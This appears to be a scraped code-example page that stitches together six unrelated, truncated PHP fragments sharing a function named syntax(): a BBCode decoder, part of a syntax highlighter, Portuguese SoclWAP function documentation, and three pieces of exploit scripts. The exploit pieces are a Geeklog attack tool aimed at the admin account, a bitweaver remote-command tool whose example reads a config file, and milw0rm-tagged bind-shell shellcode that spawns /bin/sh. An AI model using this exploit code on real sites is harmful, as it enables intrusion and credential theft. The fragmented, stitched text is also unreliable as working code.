예제 #1
0
function bbdecode($texto)
{
    $a = array("/\\[i\\](.*?)\\[\\/i\\]/is", "/\\[b\\](.*?)\\[\\/b\\]/is", "/\\[u\\](.*?)\\[\\/u\\]/is", "/\\[img\\](.*?)\\[\\/img\\]/is", "/\\[url=(.*?)\\](.*?)\\[\\/url\\]/is");
    $b = array("<i>\$1</i>", "<b>\$1</b>", "<u>\$1</u>", "<img src=\"\$1\" />", "<a href=\"\$1\" target=\"_blank\" rel=\"nofollow\">\$2</a>");
    $texto = preg_replace($a, $b, $texto);
    $texto = str_replace("&amp;", "&", $texto);
    preg_match_all("/\\[code\\](.*?)\\[\\/code\\]/is", $texto, $codes);
    foreach ($codes as $code) {
        $syntax = syntax(str_replace(array('[code]', '[/code]'), null, $code[0]));
        $texto = str_replace($code[0], '<p style="border: #000 1px dotted; background:white;>' . $syntax . '</p>', $texto);
    }
    // desfazedor de merd*:
    $texto = str_replace('&amp;</span><span style="color: #0000BB">quot</span><span style="color: #007700">;</span>', '&quot;', $texto);
    $texto = str_replace('&amp;</span><span style="color: #0000BB">quot</span><span style="color: #007700">;', '&quot;', $texto);
    // fim desfazedor de merd*
    $texto = nl2br($texto);
    return $texto;
}
예제 #2
0
}
function syntax()
{
    print "Syntax: php " . $argv[0] . " [host] [path] [user] [pass] [OPTIONS]         \n" . "Options:                                                               \n" . "--c:[uid:hash    ]  - use your user cookie, instead of uses/pwd pair   \n" . "--port:[port]       - specify a port                                   \n" . "                      default->80                                      \n" . "--uid:[n]           - specify an uid other than default (2,usually admin)\n" . "--proxy:[host:port] - use proxy                                          \n" . "--skiptest          - skip preliminary tests                             \n" . "--test              - run only tests                                     \n" . "Examples:   php " . $argv[0] . " 192.168.0.1 /geeklog/ bookoo pass          \n" . "            php " . $argv[0] . " 192.168.0.1 / bookoo pass --proxy:1.1.1.1:8080\n" . "            php " . $argv[0] . " 192.168.0.1 / bookoo pass --uid:3             \n" . "            php " . $argv[0] . " 192.168.0.1 /geeklog/ * * -c:3:5f4dcc3b5aa765d61d8327deb882cf99";
    die;
}
error_reporting(E_ALL ^ E_NOTICE);
$host = $argv[1];
$path = $argv[2];
$_user = $argv[3];
$_pwd = $argv[4];
//default
$uid = "2";
$where = "uid={$uid}";
//user id, usually admin, anonymous = 1
$argv[4] ? print "[*] Attacking...\n" : syntax();
$_use_proxy = false;
$port = 80;
$_skiptest = false;
$_test = false;
$_use_ck = false;
for ($i = 3; $i < $argc; $i++) {
    if (stristr($argv[$i], "--proxy:")) {
        $_use_proxy = true;
        $tmp = explode(":", $argv[$i]);
        $proxy_host = $tmp[1];
        $proxy_port = (int) $tmp[2];
    }
    if (stristr($argv[$i], "--port:")) {
        $tmp = explode(":", $argv[$i]);
        $port = (int) $tmp[1];
예제 #3
0
{
    print "Syntax: php " . $argv[0] . " [host] [path] [user] [pass] [cmd] [options]   \n" . "Options:                                                               \n" . "--port:[port]       - specify a port                                   \n" . "                      default->80                                      \n" . "--proxy:[host:port] - use proxy                                        \n" . "Examples:   php " . $argv[0] . " 192.168.0.1 /bitweaver/ bookoo pass ls    \n" . "            php " . $argv[0] . " 192.168.0.1 / bookoo pass ls -a --proxy:1.1.1.1:8080\n" . "            php " . $argv[0] . " 192.168.0.1 / bookoo pass cat ../kernel/config_inc.php --port:81";
    die;
}
error_reporting(E_ALL);
$host = $argv[1];
$path = $argv[2];
$_usr = $argv[3];
$_pwd = $argv[4];
$_cmd = "";
for ($i = 5; $i < $argc; $i++) {
    if (!strstr($argv[$i], "--proxy:") and !strstr($argv[$i], "--port:")) {
        $_cmd .= " " . $argv[$i];
    }
}
$argv[5] ? print "[*] Command->{$_cmd}\n" : syntax();
$_use_proxy = false;
$port = 80;
for ($i = 3; $i < $argc; $i++) {
    if (stristr($argv[$i], "--proxy:")) {
        $_use_proxy = true;
        $tmp = explode(":", $argv[$i]);
        $proxy_host = $tmp[1];
        $proxy_port = (int) $tmp[2];
    }
    if (stristr($argv[$i], "--port:")) {
        $tmp = explode(":", $argv[$i]);
        $port = (int) $tmp[1];
    }
}
function _s($url, $cmd, $is_post, $request)
예제 #4
0
    $res_port = base_convert($port, 10, 16);
    $length = strlen($res_port) - 1;
    $i = 1;
    for ($idx = 0; $idx < $length + 1; $idx++) {
        $i++;
        if ($i == 4) {
            $inser .= "\\x";
        }
        $inser .= $res_port[$idx];
    }
    $inser .= "\" /* Port " . $port . " */\n";
    $inser .= "\t\t\t\"\\x66\\x51\\x89\\xe6\\x6a\\x10\\x56\\x57\\xb0\\xe8\\xff\\xd5\\xb0\\xe9\\xff\\xd5\"\n";
    $inser .= "\t\t\t\"\\x50\\x50\\x57\\xb0\\xea\\xff\\xd5\\x31\\xd2\\xb2\\x09\\x51\\x52\\x50\\xb0\\x3e\"\n";
    $inser .= "\t\t\t\"\\xff\\xd5\\x49\\x79\\xf2\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\"\n";
    $inser .= "\t\t\t\"\\x89\\xe3\\x50\\x53\\x89\\xe2\\x50\\x52\\x53\\xb0\\x3b\\xff\\xd5\";\n";
    $inser .= "\n";
    $inser .= "\tprintf(\"Length: %d\\n\",strlen(shellcode));\n";
    $inser .= "\t(*(void(*)()) shellcode)();</br>";
    $inser .= "\n";
    $inser .= "\n";
    return $inser;
}
if ($argc < 2) {
    syntax();
    return false;
}
$port = $argv[1];
echo win32bind($port);
?>

# milw0rm.com [2009-06-16]
예제 #5
0
파일: blob.php 프로젝트: ukatama/ugit
                                    $dst .= substr($src, 0, $n);
                                    $src = substr($src, $n);
                                } else {
                                    if (preg_match($patterns['token'], $src, $matches)) {
                                        syntax('token');
                                        $n = strlen($matches[0]);
                                        $dst .= substr($src, 0, $n);
                                        $src = substr($src, $n);
                                    } else {
                                        if (preg_match('/^[a-zA-Z0-9_]+/', $src, $matches)) {
                                            syntax('identifier');
                                            $n = strlen($matches[0]);
                                            $dst .= substr($src, 0, $n);
                                            $src = substr($src, $n);
                                        } else {
                                            syntax('error');
                                            $dst .= substr($src, 0, 1);
                                            $src = substr($src, 1);
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
    }
    $data = $dst . '</code>';
}
$l = count(preg_split('/\\r?\\n/', $data));
예제 #6
0
function func($func)
{
    $df['syserr'] = 'Esta função exibe uma página de erro e paralisa a execução do sistema.';
    $df['email'] = 'Esta função envia um e-mail já com headers definidos.';
    $df['admail'] = 'Esta função envia um e-mail ao administrador do sistema.';
    $df['is_logged'] = 'Esta função detecta se o usuário está ou não logado.';
    $df['is_admin'] = 'Esta função detecta se o usuário logado possui privilégios de administrador.';
    $df['protect'] = 'Esta função protege uma string contra ataques de SQLi e XSS.';
    $df['url'] = 'Esta função cria um link interno.';
    $df['t'] = 'Esta função ativa a tradução de uma string.';
    $df['siteerr'] = 'Esta função exibe uma caixa de erros, mas a execução do sistema é continuada.';
    $df['titlebar'] = 'Esta função cria uma barra de título de seção.';
    $df['infobox'] = 'Esta função exibe uma caixa de informação na página.';
    $df['section'] = 'Esta função cria uma seção, composta de um título e o conteúdo.';
    $df['freesection'] = 'Esta função cria uma seção sem título.';
    $df['redir'] = 'Esta função redireciona para uma página interna.';
    $df['requirelogin'] = '******';
    $df['onlyadmin'] = 'Esta função bloqueia o acesso de usuários sem privilégios de administrador.';
    $df['imageupload'] = 'Esta função envia uma imagem JPEG ao servidor e cria uma miniatura.';
    $df['power'] = 'Esta função exibe "Powered by SoclWAP".';
    $df['addmenu'] = 'Adiciona um ítem ao menu';
    $df['removemenu'] = 'Remove um ítem do menu.';
    $df['mysql_table_exists'] = 'Verifica a existência ou não de uma tabela.';
    $df['settitle'] = 'Configura o título da página.';
    $df['captcha_init'] = 'Inicia o uso do Captcha';
    $df['bbcode'] = 'Altera um texto com BBCode.';
    $df['timestamp'] = 'Converte uma data no formato d/m/Y para um Unix Timestamp.';
    $df['diasentre'] = 'Retorna a quantidade de dias existentes entre uma data e outra.';
    $df['thumb'] = 'Retorna a miniatura de uma imagem enviada.';
    $df['extenso'] = 'Escreve um número por extenso.';
    $df['note'] = 'Publica uma notificação';
    $df['delnote'] = 'Exclui uma notificação';
    $df['resolveuser'] = '******';
    $df['validuser'] = '******';
    $df['friends'] = 'Verifica se dois usuários são amigos';
    $df['cleanstring'] = 'Trata uma string e a retorna limpa, para usar numa URL.';
    $df['mysql_all_query'] = 'Executa múltiplas queries no MySQL, separadas por \';\'.';
    $df['getcaptcha'] = 'Retorna um captcha';
    $df['comparecaptcha'] = 'Verifica se captcha está correto.';
    $df['youtube'] = 'Retorna dados de um vídeo do YouTube.';
    $df['menu'] = 'Retorna menu de gerenciador de perfis.';
    $df['stop_here'] = 'Pára a execução do módulo e exibe saída.';
    $df['swhead'] = 'Escreve no HEAD da página.';
    $df['syntax'] = 'Destaca a sintaxe de um código usando as cores definidas para o destacador de sintaxe do PHP.';
    $final['syserr'] = 'É uma alternativa ao die(), porém, inclui a logomarca de seu sistema e a mensagem é exibida em um infobox.';
    $final['email'] = 'Utilize esta alternativa ao mail() em seus módulos e aplicativos para o SoclWAP, já que ele constrói automaticamente os cabeçalhos do e-mail.';
    $final['admail'] = 'A mensagem é enviada ao e-mail configurado pelo administrador. Útil para reportar erros.';
    $final['is_logged'] = 'O retorno da função é booleano (true ou false).';
    $final['is_admin'] = 'O retorno da função é booleano.';
    $final['protect'] = 'Esta função aplica as funções nativas <a href="http://php.net/htmlspecialchars">htmlspecialchars</a> e <a href="http://php.net/mysql_real_escape_string">mysql_real_escape_string</a>.';
    $final['url'] = 'Esta função obtém o caminho virtual configurada, no qual o aplicativo está sendo executado, e monta os links com a tag ' . htmlspecialchars("<A>") . '.';
    $final['t'] = 'Esta função obtém a tradução feita pelo administrador. Caso esta não exista, a string original é retornada.';
    $final['siteerr'] = 'Esta função faz o mesmo que a função ' . url("sample/func/infobox", "infobox") . '.';
    $final['titlebar'] = 'Esta função retorna uma barra de títulos semelhante à utilizada pela função ' . url("sample/func/section", "section") . '.';
    $final['infobox'] = 'Esta função faz o mesmo que a função ' . url("sample/func/siteerr", "siteerr") . '.';
    $final['section'] = 'Esta função retorna o uso das funções ' . url("sample/func/titlebar", "titlebar") . ' e ' . url("sample/func/freesection", "freesection") . '.';
    $final['freesection'] = 'Você deve utilizar esta função em suas aplicações para o SoclWAP ao invés da nativa <a href="http://php.net/echo">echo</a> pois esta primeira se aplica às configurações de tema do SoclWAP.';
    $final['redir'] = 'O conceito de "página interna" é o mesmo utilizado na função ' . url("sample/func/url", "url") . '.';
    $final['requirelogin'] = '******';
    $final['onlyadmin'] = 'Esta função redireciona o usuário para a página inicial.';
    $final['imageupload'] = 'Esta função retorna um array contendo o nome da imagem original e da miniatura.';
    $final['power'] = 'Esta função é obrigatória em temas para SoclWAP, ou a aplicação não irá rodar.';
    $final['addmenu'] = 'Esta função é útil na instalação de módulos.';
    $final['removemenu'] = 'Esta função é útil na desinstalação de módulos.';
    $final['mysql_table_exists'] = 'O retorno da função é booleano.';
    $final['settitle'] = 'Esta função edita as tags ' . htmlspecialchars("<TITLE>") . ' da página.';
    $final['captcha_init'] = 'Esta função carrega os dados necessários para gerar o captcha.';
    $final['bbcode'] = 'BBCode é o padrão de linguagem de marcação utilizada em fóruns.';
    $final['timestamp'] = 'É como um mktime(), porém, que suporta marcação de data direta.';
    $final['diasentre'] = 'As datas devem estar em formato d/m/Y. Caso a segunda data não seja declarada, será atribuído à ela o valor da data atual.';
    $final['thumb'] = 'A imagem deve estar no diretório "upload"';
    $final['extenso'] = 'Você pode configurar um gênero (masculino - padrão - ou feminino) de retorno.';
    $final['note'] = 'Caso a segunda variável não possua um valor inteiro (numérico), será atribuído à ela o valor do usuário logado.';
    $final['delnote'] = 'Insira o valor da ID da notificação.';
    $final['resolveuser'] = '******';
    $final['validuser'] = '******';
    $final['friends'] = 'Você deve inserir duas ID\'s de usuários.';
    $final['cleanstring'] = 'Os únicos caracteres que permanecem na string são letras e números.';
    $final['mysql_all_query'] = 'Esta função é útil porquê a função mysql_query() não suporta múltiplas queries.';
    $final['getcaptcha'] = 'Esta função obtém o endereço da imagem gerada como captcha.';
    $final['comparecaptcha'] = 'Retorno booleano.';
    $final['youtube'] = 'Necessário incluir biblioteca.';
    $final['menu'] = 'Necessário incluir biblioteca.';
    $final['stop_here'] = 'Se você utilizar funções como die() ou exit(), a saída não será exibida com o tema.';
    $final['swhead'] = 'Esta função é útil para incluir folhas de estilo ou scripts JavaScript.';
    $final['syntax'] = 'Esta função é uma versão simplificada da função nativa <a href="http://php.net/highlight_string" target="_blank">highlight_string()</a>.';
    $uso['syserr'] = 'syserr(mensagem);';
    $uso['email'] = 'email(para, assunto, mensagem);';
    $uso['admail'] = 'admail(assunto, mensagem);';
    $uso['is_logged'] = 'is_logged();';
    $uso['is_admin'] = 'is_admin();';
    $uso['protect'] = 'protect(mensagem);';
    $uso['url'] = 'url(destino, texto)';
    $uso['t'] = 't(texto);';
    $uso['siteerr'] = 'siteerr(mensagem);';
    $uso['titlebar'] = 'titlebar(titulo);';
    $uso['infobox'] = 'infobox(mensagem [, auto [, stop ]]);';
    $uso['section'] = 'section(conteudo, titulo);';
    $uso['freesection'] = 'freesection(conteudo);';
    $uso['redir'] = 'redir(destino);';
    $uso['requirelogin'] = '******';
    $uso['onlyadmin'] = 'onlyadmin();';
    $uso['imageupload'] = 'imageupload(arquivo);';
    $uso['power'] = 'power();';
    $uso['addmenu'] = 'addmenu(item, url);';
    $uso['removemenu'] = 'removemenu(url);';
    $uso['mysql_table_exists'] = 'mysql_table_exists(tabela);';
    $uso['settitle'] = 'settitle(título);';
    $uso['captcha_init'] = 'captcha_init();';
    $uso['bbcode'] = 'bbcode(string);';
    $uso['timestamp'] = 'timestamp(data);';
    $uso['diasentre'] = 'diasentre(inicio [, fim ]);';
    $uso['thumb'] = 'thumb(imagem);';
    $uso['extenso'] = 'extenso(extenso);';
    $uso['note'] = 'note(conteúdo, usuário);';
    $uso['delnote'] = 'delnote(id);';
    $uso['resolveuser'] = '******';
    $uso['validuser'] = '******';
    $uso['friends'] = 'friends(id1, id2);';
    $uso['cleanstring'] = 'cleanstring(string);';
    $uso['mysql_all_query'] = 'mysql_all_query(queries);';
    $uso['getcaptcha'] = 'getcaptcha();';
    $uso['comparecaptcha'] = 'comparecaptcha(valor);';
    $uso['youtube'] = 'youtube(video_url);';
    $uso['menu'] = 'menu(usuario);';
    $uso['stop_here'] = 'stop_here();';
    $uso['swhead'] = 'swhead(codigo);';
    $uso['syntax'] = 'syntax(codigo);';
    $sample['syserr'] = 'syserr("Ocorreu um erro que fez com que a aplicação parasse.");';
    $sample['email'] = 'email("*****@*****.**", "Olá!", "Olá, tudo bem?");';
    $sample['admail'] = 'admail("Sucesso!", "Mais um usuário se registrou em sua rede.");';
    $sample['is_logged'] = 'if(is_logged())';
    $sample['is_admin'] = 'if(is_admin())';
    $sample['protect'] = 'protect($_POST[\'mensagem\');';
    $sample['url'] = 'freesection(url("sample/func/url", "Ver a função URL")); // <a href="(site)(prefixo)sample/func/url">Ver a função URL';
    $sample['t'] = 'freesection(t("Este texto poderá ser modificado no painel de administração posteriormente."));';
    $sample['siteerr'] = 'siteerr("Que feio, usuário! Você não pode fazer isso.");';
    $sample['titlebar'] = 'freesection(titlebar("Notícias"));';
    $sample['infobox'] = 'infobox("Ação concluída com sucesso!"); // somente exibir, sem retorno
freesection(infobox("Teste", false)); // retorna como string
infobox("Stop!", true, false); // exibe o texto e pára a execução do SoclWAP';
    $sample['section'] = 'section("<b>Olá, mundo!</b>", "Monstro");';
    $sample['freesection'] = 'freesection("<b>Olá, mundo!</b>");';
    $sample['redir'] = 'redir("sample/func/url");';
    $sample['requirelogin'] = '******';
    $sample['onlyadmin'] = 'onlyadmin(); // simples, não?';
    $sample['imageupload'] = '$upload = imageupload($_FILES[\'foto\']);
if(!$upload) {
  // ...
} else {
  $nome_da_imagem = $upload[\'full\'];
  $miniatura = $upload[\'thumb\'];
}';
    $sample['power'] = 'power(); // só isso!';
    $sample['addmenu'] = 'addmenu("Blog do administrador", "blog/lista/admin");';
    $sample['removemenu'] = 'removemenu("blog"); // remove link para blog';
    $sample['mysql_table_exists'] = 'if(mysql_table_exists("tabela")) { // ...';
    $sample['settitle'] = 'settitle("Título da página");';
    $sample['captcha_init'] = 'captcha_init();';
    $sample['bbcode'] = 'bbcode("[b]hello[/b]");';
    $sample['timestamp'] = 'timestamp("21/12/2012");';
    $sample['diasentre'] = 'diasentre("24/11/2011", "21/12/2012"); // quantos dias existem entre o início do projeto SoclWAP e o fim do mundo?
diasentre("24/11/2011"); // quantos dias existem entre o início do projeto SoclWAP e hoje?';
    $sample['thumb'] = 'global $url;
echo \'<img src="\'.$url.\'/\'.thumb("default.jpg").\'">\';';
    $sample['extenso'] = 'echo extenso(1); // "um"
echo extenso(1, "f"); // "uma"';
    $sample['note'] = 'note("postou esta notificação.", $_SESSION[\'id\']);';
    $sample['delnote'] = 'delnote(1);';
    $sample['resolveuser'] = '******';
    $sample['validuser'] = '******';
    $sample['friends'] = 'if(friends(1, 2)) { // ...';
    $sample['cleanstring'] = 'echo cleanstring("Debian GNU/Linux"); // "DebianGNULinux"';
    $sample['mysql_all_query'] = 'mysql_all_query("DROP TABLE foo1;
DROP TABLE foo2;");';
    $sample['getcaptcha'] = 'captcha_init();
echo \'<img src="\'.getcaptcha().\'">\';';
    $sample['comparecaptcha'] = 'captcha_init();
if(comparecaptcha("valor"));';
    $sample['youtube'] = 'include("libs/video.php"); // carrega biblioteca
$video = youtube("http://www.youtube.com/watch?v=videoid");
echo $video[\'code\']; // retorna código de inserção do vídeo
echo $video[\'title\']; // título do vídeo
echo $video[\'desc\']; // descrição do vídeo';
    $sample['menu'] = 'include("libs/account.php");
echo menu("admin"); // retorna menu';
    $sample['stop_here'] = 'if(!is_numeric($id)) {
  infobox(t("Apenas números na ID."));
  stop_here();
}';
    $sample['swhead'] = 'swhead("<!-- isto está no head da página -->");';
    $sample['syntax'] = 'freesection(syntax("echo \'Olá, mundo.\'"));';
    $retorno['syserr'] = '(sem retorno)';
    $retorno['email'] = 'booleano';
    $retorno['admail'] = 'booleano';
    $retorno['is_logged'] = 'booleano';
    $retorno['is_admin'] = 'booleano';
    $retorno['protect'] = 'string';
    $retorno['url'] = 'string';
    $retorno['t'] = 'string';
    $retorno['siteerr'] = '(sem retorno)';
    $retorno['titlebar'] = 'string';
    $retorno['infobox'] = '(retorno dependente do segundo parâmetro)';
    $retorno['section'] = '(sem retorno)';
    $retorno['freesection'] = '(sem retorno)';
    $retorno['redir'] = '(sem retorno)';
    $retorno['requirelogin'] = '******';
    $retorno['onlyadmin'] = '(sem retorno)';
    $retorno['imageupload'] = 'array [ full | thumb ]';
    $retorno['power'] = '(sem retorno)';
    $retorno['addmenu'] = '(sem retorno)';
    $retorno['removemenu'] = '(sem retorno)';
    $retorno['mysql_table_exists'] = 'booleano';
    $retorno['settitle'] = '(sem retorno)';
    $retorno['captcha_init'] = '(sem retorno)';
    $retorno['bbcode'] = 'string';
    $retorno['timestamp'] = 'int';
    $retorno['diasentre'] = 'int';
    $retorno['thumb'] = 'string';
    $retorno['extenso'] = 'string';
    $retorno['note'] = '(sem retorno)';
    $retorno['delnote'] = '(sem retorno)';
    $retorno['resolveuser'] = '******';
    $retorno['validuser'] = '******';
    $retorno['friends'] = 'booleano';
    $retorno['cleanstring'] = 'string';
    $retorno['mysql_all_query'] = '(sem retorno)';
    $retorno['getcaptcha'] = 'string';
    $retorno['comparecaptcha'] = 'booleano';
    $retorno['youtube'] = 'array';
    $retorno['menu'] = 'string';
    $retorno['stop_here'] = '(sem retorno)';
    $retorno['swhead'] = '(sem retorno)';
    $retorno['syntax'] = 'string';
    $output = '<h1>' . $func . '</h1>';
    $output .= '<p>' . $df[$func] . '</p>';
    $output .= '<h2>Uso:</h2>';
    $output .= '<p class="infobox">' . $uso[$func] . '</p>';
    $output .= '<h2>Exemplo:</h2>';
    $output .= syntax($sample[$func]);
    $output .= '<h2>Retorno:</h2>';
    $output .= '<p class="infobox">' . $retorno[$func] . '</p>';
    $output .= '<p>' . $final[$func] . '</p>';
    $output .= "<br>" . url("sample/functions", "Voltar");
    freesection($output, $func);
}